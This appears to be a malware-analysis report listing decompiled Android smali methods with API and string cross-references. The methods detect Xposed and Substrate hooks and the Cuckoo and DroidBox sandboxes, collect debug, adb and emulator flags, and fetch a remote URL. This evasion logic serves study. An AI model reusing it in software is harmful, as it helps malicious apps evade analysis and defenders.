                              33invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              34move-result-object v0
                              36invoke-static {v0}, Lsdk/nicro/lu/d;->a(Ljava/lang/String;)Ljava/lang/String;
                              37move-result-object v0
                              38if-eqz v0, :cond_6e
                              39const/4 v2, 0x0
                              41invoke-virtual {v0}, Ljava/lang/String;->length()I
                              42move-result v3
                              43div-int/lit8 v3, v3, 0x4
                              45invoke-virtual {v0, v2, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              46move-result-object v0
                              47new-instance v2, Ljava/lang/StringBuilder;
                              49invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              51const-string/jumbo v3, "."
                              53invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              54move-result-object v2
                              56invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              57move-result-object v0
                              59const-string/jumbo v2, "/"
                              61invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              62move-result-object v0
                              63const/4 v2, 0x0
                              65invoke-virtual {p1}, Ljava/lang/String;->length()I
                              66move-result v3
                              67div-int/lit8 v3, v3, 0x4
                              69invoke-virtual {p1, v2, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              70move-result-object v2
                              72invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              73move-result-object v0
                              75invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              76move-result-object v0
                              78invoke-static {p0, v0}, Lsdk/nicro/lu/l;->b(Landroid/content/Context;Ljava/lang/String;)Lsdk/nicro/lu/l;
                              79try_end_6b: move-result-object v0
                              80goto_6c: monitor-exit v1
                              81return-object v0
                              82try_start_6e: new-instance v0, Ljava/lang/StringBuilder;
                              84invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              86const-string/jumbo v2, ".datacache/"
                              88invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              89move-result-object v0
                              90const/4 v2, 0x0
                              92invoke-virtual {p1}, Ljava/lang/String;->length()I
                              93move-result v3
                              94div-int/lit8 v3, v3, 0x4
                              96invoke-virtual {p1, v2, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                              97move-result-object v2
                              99invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              100move-result-object v0
                              102invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              103move-result-object v0
                              105invoke-static {p0, v0}, Lsdk/nicro/lu/l;->b(Landroid/content/Context;Ljava/lang/String;)Lsdk/nicro/lu/l;
                              106try_end_90: move-result-object v0
                              107goto/16 :goto_6c
                              108catchall_92: move-exception v0
                              109monitor-exit v1
                              110throw v0
                              Cross References
                              APIs
                              • java.util.HashSet.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Process.myPid
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.FileReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.String.endsWith
                              • java.lang.String.endsWith
                              • java.lang.String.lastIndexOf
                              • java.lang.String.substring
                              • java.util.Set.add
                              • java.io.BufferedReader.close
                              • java.util.Set.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.lang.String.contains
                              • java.lang.String.contains
                              Strings
                              • /proc/
                              • /maps
                              • .so
                              • .jar
                              • com.saurik.substrate
                              • XposedBridge.jar
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2try_start_1: new-instance v0, Ljava/util/HashSet;
                              4invoke-direct {v0}, Ljava/util/HashSet;-><init>()V
                              5new-instance v2, Ljava/lang/StringBuilder;
                              7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              9const-string/jumbo v3, "/proc/"
                              11invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              12move-result-object v2
                              14invoke-static {}, Landroid/os/Process;->myPid()I
                              15move-result v3
                              17invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              18move-result-object v2
                              20const-string/jumbo v3, "/maps"
                              22invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              23move-result-object v2
                              25invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              26move-result-object v2
                              27new-instance v3, Ljava/io/BufferedReader;
                              28new-instance v4, Ljava/io/FileReader;
                              30invoke-direct {v4, v2}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                              32invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              33cond_2f:
                              34invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              35move-result-object v2
                              36if-eqz v2, :cond_5b
                              38const-string/jumbo v4, ".so"
                              40invoke-virtual {v2, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              41move-result v4
                              42if-nez v4, :cond_47
                              44const-string/jumbo v4, ".jar"
                              46invoke-virtual {v2, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              47move-result v4
                              48if-eqz v4, :cond_2f
                              49cond_47:
                              50const-string/jumbo v4, " "
                              52invoke-virtual {v2, v4}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I
                              53move-result v4
                              54add-int/lit8 v4, v4, 0x1
                              56invoke-virtual {v2, v4}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                              57move-result-object v2
                              59invoke-interface {v0, v2}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              60goto/16 :goto_2f
                              61catch_58: move-exception v0
                              62cond_59: const/4 v0, 0x0
                              63goto_5a: return v0
                              64cond_5b:
                              65invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
                              67invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                              68move-result-object v2
                              69cond_62:
                              70invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              71move-result v0
                              72if-eqz v0, :cond_59
                              74invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              75move-result-object v0
                              76check-cast v0, Ljava/lang/String;
                              78const-string/jumbo v3, "com.saurik.substrate"
                              80invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              81move-result v3
                              82if-eqz v3, :cond_79
                              83move v0, v1
                              84goto/16 :goto_5a
                              85cond_79:
                              86const-string/jumbo v3, "XposedBridge.jar"
                              88invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              89try_end_7f: move-result v0
                              90if-eqz v0, :cond_62
                              91move v0, v1
                              92goto/16 :goto_5a
                              Cross References
                              APIs
                              • java.util.HashSet.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • android.os.Process.myPid
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.FileReader.<init>
                              • java.io.BufferedReader.<init>
                              • java.io.BufferedReader.readLine
                              • java.lang.String.endsWith
                              • java.lang.String.endsWith
                              • java.lang.String.lastIndexOf
                              • java.lang.String.substring
                              • java.util.Set.add
                              • java.io.BufferedReader.close
                              • java.util.Set.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.lang.String.contains
                              • java.lang.String.contains
                              Strings
                              • /proc/
                              • /maps
                              • .so
                              • .jar
                              • com.saurik.substrate
                              • XposedBridge.jar
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2try_start_1: new-instance v0, Ljava/util/HashSet;
                              4invoke-direct {v0}, Ljava/util/HashSet;-><init>()V
                              5new-instance v2, Ljava/lang/StringBuilder;
                              7invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              9const-string/jumbo v3, "/proc/"
                              11invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              12move-result-object v2
                              14invoke-static {}, Landroid/os/Process;->myPid()I
                              15move-result v3
                              17invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              18move-result-object v2
                              20const-string/jumbo v3, "/maps"
                              22invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              23move-result-object v2
                              25invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              26move-result-object v2
                              27new-instance v3, Ljava/io/BufferedReader;
                              28new-instance v4, Ljava/io/FileReader;
                              30invoke-direct {v4, v2}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                              32invoke-direct {v3, v4}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                              33cond_2f:
                              34invoke-virtual {v3}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                              35move-result-object v2
                              36if-eqz v2, :cond_5b
                              38const-string/jumbo v4, ".so"
                              40invoke-virtual {v2, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              41move-result v4
                              42if-nez v4, :cond_47
                              44const-string/jumbo v4, ".jar"
                              46invoke-virtual {v2, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                              47move-result v4
                              48if-eqz v4, :cond_2f
                              49cond_47:
                              50const-string/jumbo v4, " "
                              52invoke-virtual {v2, v4}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I
                              53move-result v4
                              54add-int/lit8 v4, v4, 0x1
                              56invoke-virtual {v2, v4}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                              57move-result-object v2
                              59invoke-interface {v0, v2}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              60goto/16 :goto_2f
                              61catch_58: move-exception v0
                              62cond_59: const/4 v0, 0x0
                              63goto_5a: return v0
                              64cond_5b:
                              65invoke-virtual {v3}, Ljava/io/BufferedReader;->close()V
                              67invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                              68move-result-object v2
                              69cond_62:
                              70invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              71move-result v0
                              72if-eqz v0, :cond_59
                              74invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              75move-result-object v0
                              76check-cast v0, Ljava/lang/String;
                              78const-string/jumbo v3, "com.saurik.substrate"
                              80invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              81move-result v3
                              82if-eqz v3, :cond_79
                              83move v0, v1
                              84goto/16 :goto_5a
                              85cond_79:
                              86const-string/jumbo v3, "XposedBridge.jar"
                              88invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              89try_end_7f: move-result v0
                              90if-eqz v0, :cond_62
                              91move v0, v1
                              92goto/16 :goto_5a
                              Cross References
                              APIs
                              • java.lang.Exception.<init>
                              • java.lang.Exception.getStackTrace
                              • java.lang.StackTraceElement.getClassName
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.StackTraceElement.getMethodName
                              • java.lang.String.equals
                              • java.lang.String.toLowerCase
                              • java.lang.String.equals
                              • java.lang.String.toLowerCase
                              • java.lang.String.equals
                              Strings
                              • anti
                              • com.android.internal.os.ZygoteInit
                              • com.saurik.substrate.MS$2
                              • invoked
                              • de.robv.android.xposed.XposedBridge
                              • main
                              • handleHookedMethod
                              • cuckoo
                              • droidbox
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2const/4 v1, 0x1
                              3try_start_2: new-instance v0, Ljava/lang/Exception;
                              5const-string/jumbo v3, "anti"
                              7invoke-direct {v0, v3}, Ljava/lang/Exception;-><init>(Ljava/lang/String;)V
                              8throw v0
                              9catch_b: move-exception v0
                              11invoke-virtual {v0}, Ljava/lang/Exception;->getStackTrace()[Ljava/lang/StackTraceElement;
                              12move-result-object v4
                              13array-length v5, v4
                              14move v3, v2
                              15move v0, v2
                              16goto_13: if-ge v3, v5, :cond_94
                              17aget-object v6, v4, v3
                              19invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getClassName()Ljava/lang/String;
                              20move-result-object v7
                              22const-string/jumbo v8, "com.android.internal.os.ZygoteInit"
                              24invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              25move-result v8
                              26if-eqz v8, :cond_2b
                              27add-int/lit8 v0, v0, 0x1
                              28const/4 v8, 0x2
                              29if-ne v0, v8, :cond_2b
                              30move v0, v1
                              31goto_2a: return v0
                              32cond_2b:
                              33const-string/jumbo v8, "com.saurik.substrate.MS$2"
                              35invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              36move-result v8
                              37if-eqz v8, :cond_43
                              39invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              40move-result-object v8
                              42const-string/jumbo v9, "invoked"
                              44invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              45move-result v8
                              46if-eqz v8, :cond_43
                              47move v0, v1
                              48goto/16 :goto_2a
                              49cond_43:
                              50const-string/jumbo v8, "de.robv.android.xposed.XposedBridge"
                              52invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              53move-result v8
                              54if-eqz v8, :cond_5b
                              56invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              57move-result-object v8
                              59const-string/jumbo v9, "main"
                              61invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              62move-result v8
                              63if-eqz v8, :cond_5b
                              64move v0, v1
                              65goto/16 :goto_2a
                              66cond_5b:
                              67const-string/jumbo v8, "de.robv.android.xposed.XposedBridge"
                              69invoke-virtual {v7, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              70move-result v8
                              71if-eqz v8, :cond_73
                              73invoke-virtual {v6}, Ljava/lang/StackTraceElement;->getMethodName()Ljava/lang/String;
                              74move-result-object v6
                              76const-string/jumbo v8, "handleHookedMethod"
                              78invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              79move-result v6
                              80if-eqz v6, :cond_73
                              81move v0, v1
                              82goto/16 :goto_2a
                              83cond_73:
                              84invoke-virtual {v7}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              85move-result-object v6
                              87const-string/jumbo v8, "cuckoo"
                              89invoke-virtual {v6, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              90move-result v6
                              91if-eqz v6, :cond_82
                              92move v0, v1
                              93goto/16 :goto_2a
                              94cond_82:
                              95invoke-virtual {v7}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                              96move-result-object v6
                              98const-string/jumbo v7, "droidbox"
                              100invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              101move-result v6
                              102if-eqz v6, :cond_91
                              103move v0, v1
                              104goto/16 :goto_2a
                              105cond_91: add-int/lit8 v3, v3, 0x1
                              106goto/16 :goto_13
                              107cond_94: move v0, v2
                              108goto/16 :goto_2a
                              Cross References
                              APIs
                              • android.os.Build.TYPE:Ljava/lang/String
                              • java.lang.String.equals
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Global.getString
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getString
                              • org.json.JSONObject.put
                              Strings
                              • s_type
                              • eng
                              • 1
                              • s_debug
                              • ro.debuggable
                              • s_secure
                              • ro.secure
                              • s_appDebug
                              • s_adb
                              • adb_enabled
                              • s_simulator
                              • s_proxy
                              • 0
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string/jumbo v1, "s_type"
                              4sget-object v0, Landroid/os/Build;->TYPE:Ljava/lang/String;
                              6const-string/jumbo v2, "eng"
                              8invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              9move-result v0
                              10if-eqz v0, :cond_73
                              12const-string/jumbo v0, "1"
                              13goto_11:
                              14invoke-virtual {p1, v1, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              16const-string/jumbo v0, "s_debug"
                              18const-string/jumbo v1, "ro.debuggable"
                              20invoke-static {v1}, Lsdk/nicro/lu/ps/b$a;->a(Ljava/lang/String;)Ljava/lang/String;
                              21move-result-object v1
                              23invoke-virtual {p1, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              25const-string/jumbo v0, "s_secure"
                              27const-string/jumbo v1, "ro.secure"
                              29invoke-static {v1}, Lsdk/nicro/lu/ps/b$a;->a(Ljava/lang/String;)Ljava/lang/String;
                              30move-result-object v1
                              32invoke-virtual {p1, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              34const-string/jumbo v1, "s_appDebug"
                              36invoke-static {p0}, Lsdk/nicro/lu/ps/b;->b(Landroid/content/Context;)Z
                              37move-result v0
                              38if-eqz v0, :cond_77
                              40const-string/jumbo v0, "1"
                              41goto_3a:
                              42invoke-virtual {p1, v1, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              43sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              44const/16 v1, 0x11
                              45if-lt v0, v1, :cond_7b
                              47const-string/jumbo v0, "s_adb"
                              49invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              50move-result-object v1
                              52const-string/jumbo v2, "adb_enabled"
                              54invoke-static {v1, v2}, Landroid/provider/Settings$Global;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              55move-result-object v1
                              57invoke-virtual {p1, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              58goto_54:
                              59const-string/jumbo v1, "s_simulator"
                              61invoke-static {p0}, Lsdk/nicro/lu/ps/b;->a(Landroid/content/Context;)Z
                              62move-result v0
                              63if-eqz v0, :cond_92
                              65const-string/jumbo v0, "1"
                              66goto_60:
                              67invoke-virtual {p1, v1, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              69const-string/jumbo v1, "s_proxy"
                              71invoke-static {p0}, Lsdk/nicro/lu/ps/b;->c(Landroid/content/Context;)Z
                              72move-result v0
                              73if-eqz v0, :cond_96
                              75const-string/jumbo v0, "1"
                              76goto_6f:
                              77invoke-virtual {p1, v1, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              78goto_72: return-void
                              79cond_73:
                              80const-string/jumbo v0, "0"
                              81goto/16 :goto_11
                              82cond_77:
                              83const-string/jumbo v0, "0"
                              84goto/16 :goto_3a
                              85cond_7b:
                              86const-string/jumbo v0, "s_adb"
                              88invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              89move-result-object v1
                              91const-string/jumbo v2, "adb_enabled"
                              93invoke-static {v1, v2}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              94move-result-object v1
                              96invoke-virtual {p1, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              97try_end_8c: goto/16 :goto_54
                              98catch_8d: move-exception v0
                              100invoke-static {v0}, Lsdk/nicro/lu/ps/b;->a(Ljava/lang/Throwable;)V
                              101goto/16 :goto_72
                              102cond_92:
                              103const-string/jumbo v0, "0"
                              104goto/16 :goto_60
                              105cond_96:
                              106const-string/jumbo v0, "0"
                              107try_end_99: goto/16 :goto_6f
                              Cross References
                              APIs
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.net.HttpURLConnection.setRequestMethod
                              • java.net.HttpURLConnection.setConnectTimeout
                              • java.net.HttpURLConnection.setReadTimeout
                              • java.net.HttpURLConnection.getResponseCode
                              • java.net.HttpURLConnection.getContentLength
                              • java.net.HttpURLConnection.disconnect
                              • java.lang.Exception.printStackTrace
                              • com.omgSdk.a.c.g:Landroid/content/Context
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.mkdirs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.a.c.a:Lcom/omgSdk/a/e
                              • java.net.HttpURLConnection.disconnect
                              • java.lang.Exception.printStackTrace
                              • java.lang.Exception.printStackTrace
                              • java.net.HttpURLConnection.disconnect
                              • java.lang.Exception.printStackTrace
                              • java.net.HttpURLConnection.disconnect
                              • java.lang.Exception.printStackTrace
                              Strings
                              • GET
                              • length =
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2try_start_1: new-instance v0, Ljava/net/URL;
                              4iget-object v2, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              6invoke-virtual {v2}, Lcom/omgSdk/a/e;->c()Ljava/lang/String;
                              7move-result-object v2
                              9invoke-direct {v0, v2}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              11invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              12move-result-object v0
                              13check-cast v0, Ljava/net/HttpURLConnection;
                              14try_end_12:
                              15const-string/jumbo v1, "GET"
                              17invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                              18const/16 v1, 0x2710
                              20invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                              21const/16 v1, 0x1388
                              23invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                              24const/4 v1, -0x1
                              26invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getResponseCode()I
                              27move-result v2
                              28const/16 v3, 0xc8
                              29if-ne v2, v3, :cond_2f
                              31invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getContentLength()I
                              32try_end_2e: move-result v1
                              33cond_2f: if-gtz v1, :cond_3c
                              34if-eqz v0, :cond_36
                              35try_start_33:
                              36invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
                              37try_end_36: return-void
                              38catch_37: move-exception v0
                              40invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              41goto/16 :goto_36
                              42try_start_3c: new-instance v2, Ljava/io/File;
                              44iget-object v3, p0, Lcom/omgSdk/a/c;->g:Landroid/content/Context;
                              46invoke-static {v3}, Lcom/omgSdk/a/d;->a(Landroid/content/Context;)Lcom/omgSdk/a/d;
                              47move-result-object v3
                              49iget-object v3, v3, Lcom/omgSdk/a/d;->a:Ljava/lang/String;
                              51invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              53invoke-virtual {v2}, Ljava/io/File;->exists()Z
                              54move-result v3
                              55if-nez v3, :cond_52
                              57invoke-virtual {v2}, Ljava/io/File;->mkdirs()Z
                              58cond_52: new-instance v2, Ljava/lang/StringBuilder;
                              60invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              62const-string/jumbo v3, "length = "
                              64invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              65move-result-object v2
                              67invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              68move-result-object v2
                              70invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              71move-result-object v2
                              73invoke-static {v2}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              75iget-object v2, p0, Lcom/omgSdk/a/c;->a:Lcom/omgSdk/a/e;
                              76int-to-long v4, v1
                              78invoke-virtual {v2, v4, v5}, Lcom/omgSdk/a/e;->a(J)V
                              79try_end_6f: if-eqz v0, :cond_36
                              80try_start_71:
                              81invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
                              82try_end_74: goto/16 :goto_36
                              83catch_75: move-exception v0
                              85invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              86goto/16 :goto_36
                              87catch_7a: move-exception v0
                              88try_start_7b:
                              89invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              90try_end_7e: if-eqz v1, :cond_36
                              91try_start_80:
                              92invoke-virtual {v1}, Ljava/net/HttpURLConnection;->disconnect()V
                              93try_end_83: goto/16 :goto_36
                              94catch_84: move-exception v0
                              96invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              97goto/16 :goto_36
                              98catchall_89: move-exception v0
                              99goto_8a: if-eqz v1, :cond_8f
                              100try_start_8c:
                              101invoke-virtual {v1}, Ljava/net/HttpURLConnection;->disconnect()V
                              102goto_8f: throw v0
                              103catch_90: move-exception v1
                              105invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              106goto/16 :goto_8f
                              107catchall_95: move-exception v1
                              108move-object v6, v1
                              109move-object v1, v0
                              110move-object v0, v6
                              111goto/16 :goto_8a
                              112catch_9a: move-exception v1
                              113move-object v6, v1
                              114move-object v1, v0
                              115move-object v0, v6
                              116goto/16 :goto_7b
                              APIs
                              • android.content.Context.getPackageManager
                              • android.content.pm.ApplicationInfo.loadLabel
                              • java.lang.CharSequence.toString
                              • android.content.Intent.<init>
                              • android.content.Intent.setClassName
                              • android.content.Intent.addCategory
                              • android.content.Intent.toUri
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.toUri
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.<init>
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.setAction
                              • android.content.Context.sendBroadcast
                              Strings
                              • android.intent.category.DEFAULT
                              • _VA_|_splash_
                              • _VA_|_intent_
                              • _VA_|_uri_
                              • _VA_|_user_id_
                              • android.intent.extra.shortcut.INTENT
                              • android.intent.extra.shortcut.NAME
                              • com.android.launcher.action.UNINSTALL_SHORTCUT
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              3invoke-virtual {p0, p2, v2}, Lcom/lody/virtual/client/core/VirtualCore;->getInstalledAppInfo(Ljava/lang/String;I)Lcom/lody/virtual/remote/InstalledAppInfo;
                              4move-result-object v0
                              5if-nez v0, :cond_9
                              6move v0, v2
                              7goto_8: return v0
                              8cond_9:
                              9invoke-virtual {v0, p1}, Lcom/lody/virtual/remote/InstalledAppInfo;->getApplicationInfo(I)Landroid/content/pm/ApplicationInfo;
                              10move-result-object v0
                              12iget-object v1, p0, Lcom/lody/virtual/client/core/VirtualCore;->context:Landroid/content/Context;
                              14invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              15move-result-object v1
                              16try_start_13:
                              17invoke-virtual {v0, v1}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence;
                              18move-result-object v0
                              20invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                              21try_end_1a: move-result-object v1
                              22if-eqz p4, :cond_7e
                              24invoke-interface {p4, v1}, Lcom/lody/virtual/client/core/VirtualCore$OnEmitShortcutListener;->getName(Ljava/lang/String;)Ljava/lang/String;
                              25move-result-object v0
                              26if-eqz v0, :cond_7e
                              27goto_23:
                              28invoke-virtual {p0, p2, p1}, Lcom/lody/virtual/client/core/VirtualCore;->getLaunchIntent(Ljava/lang/String;I)Landroid/content/Intent;
                              29move-result-object v1
                              30if-nez v1, :cond_2e
                              31move v0, v2
                              32goto/16 :goto_8
                              33catch_2b: move-exception v0
                              34move v0, v2
                              35goto/16 :goto_8
                              36cond_2e: new-instance v3, Landroid/content/Intent;
                              38invoke-direct {v3}, Landroid/content/Intent;-><init>()V
                              40invoke-virtual {p0}, Lcom/lody/virtual/client/core/VirtualCore;->getHostPkg()Ljava/lang/String;
                              41move-result-object v4
                              43sget-object v5, Lcom/lody/virtual/client/env/Constants;->SHORTCUT_PROXY_ACTIVITY_NAME:Ljava/lang/String;
                              45invoke-virtual {v3, v4, v5}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              47const-string v4, "android.intent.category.DEFAULT"
                              49invoke-virtual {v3, v4}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                              50if-eqz p3, :cond_4c
